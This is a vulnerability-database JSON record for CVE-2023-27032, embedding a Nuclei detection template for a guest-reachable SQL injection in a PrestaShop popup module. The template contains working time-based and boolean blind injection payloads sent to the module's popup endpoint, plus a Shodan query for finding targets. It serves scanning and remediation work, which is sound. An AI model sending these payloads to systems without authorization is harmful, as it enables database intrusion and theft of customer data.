{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2023-27032/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2023-27032/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2023-27032/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2023-27032/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2023-27032/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2023-27032"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2023-27032"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2023/CVE-2023-27032.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2023-27032\n\ninfo:\n  name: PrestaShop AdvancedPopupCreator - SQL Injection\n  author: MaStErChO\n  severity: critical\n  description: |\n    In the module “Advanced Popup Creator” (advancedpopupcreator) from Idnovate for PrestaShop, a guest can perform SQL injection in affected versions.\n  impact: |\n    Unauthenticated attackers can execute arbitrary SQL commands to extract database contents including customer data, orders, payment information, and administrative credentials from the PrestaShop database.\n  remediation: |\n    Upgrade to the latest version of the Advanced Popup Creator module from Idnovate that addresses this SQL injection vulnerability.\n  reference:\n    - https://security.friendsofpresta.org/modules/2023/04/11/advancedpopupcreator.html\n    - https://addons.prestashop.com/en/pop-up/23773-popup-on-entry-exit-popup-add-product-and-newsletter.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2023-27032\n    cwe-id: CWE-89\n    epss-score: 0.03015\n    epss-percentile: 0.8748\n    cpe: cpe:2.3:a:idnovate:popup_module_\\(on_entering\\,_exit_popup\\,_add_product\\)_and_newsletter:*:*:*:*:*:prestashop:*:*\n  metadata:\n    verified: true\n    max-request: 3\n    vendor: idnovate\n    product: popup_module_\\(on_entering\\,_exit_popup\\,_add_product\\)_and_newsletter\n    framework: prestashop\n    shodan-query: http.component:\"prestashop\"\n  tags: time-based-sqli,cve,cve2023,sqli,prestashop,advancedpopupcreator,idnovate,vuln,vkev\n\nflow: |\n  http(1) && (http(2) || http(3))\n\nhttp:\n  - id: \"extract_values\"\n    raw:\n      - |\n        GET / HTTP/1.1\n        Host: {{Hostname}}\n\n    host-redirects: true\n    max-redirects: 5\n\n    extractors:\n      - type: regex\n        name: time\n        group: 1\n        regex:\n          - '\"time\":([0-9]+),'\n        internal: true\n\n      - type: regex\n        name: token\n        group: 1\n        regex:\n          - '\"static_token\":\"([0-9a-z]+)\",'\n        internal: true\n\n  - id: \"time_based\"\n    raw:\n      - |\n        @timeout 20s\n        POST /module/advancedpopupcreator/popup HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        availablePopups=if(now()=sysdate()%2Csleep(6)%2C0)&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}}\n\n      - |\n        @timeout 20s\n        POST /module/advancedpopupcreator/popup HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        fromController=(select(0)from(select(sleep(6)))v)/*'%2B(select(0)from(select(sleep(6)))v)%2B'\"%2B(select(0)from(select(sleep(6)))v)%2B\"*/&id_category=0&id_cms=1&id_manufacturer=0&id_product=0&id_supplier=0&referrer=1&responsiveWidth=1280&time={{time}}&token={{token}}&updateVisits=1&url=https%253A%252F%252F{{Hostname}}%252F\n\n    stop-at-first-match: true\n    matchers:\n      - type: dsl\n        name: time-based\n        dsl:\n          - status_code == 200\n          - contains(content_type, \"text/html\")\n          - contains_all(body,'hasError')\n          - duration >= 6\n        condition: and\n\n  - id: \"blind_based\"\n    raw:\n      - |\n        POST /module/advancedpopupcreator/popup HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        availablePopups=-8514)%20OR%206158%3d6158--%20eKWg&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}}\n\n      - |\n        POST /module/advancedpopupcreator/popup HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        availablePopups=-8514)%20OR%206158%3d6157--%20eKWg&event=1&fromController=product&getPopup=1&id_category=0&id_manufacturer=0&id_product=1&id_supplier=0&referrer=&responsiveWidth=1280&time={{time}}&token={{token}}\n\n    matchers:\n      - type: dsl\n        name: blind-based\n        dsl:\n          - 'status_code == 200'\n          - 'contains(tolower(response_1), \"selector\")'\n          - '!contains(tolower(response_2), \"selector\")'\n        condition: and\n# digest: 490a004630440220586747f9b7f93fa6b0be933b89f8c2258ae15db0bfae0b22e97183b869ce634d02203826a25a8f2bb2e41ea8150cb9a24e141f3b174f782b88747087f439af418d21:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2023-27032"
}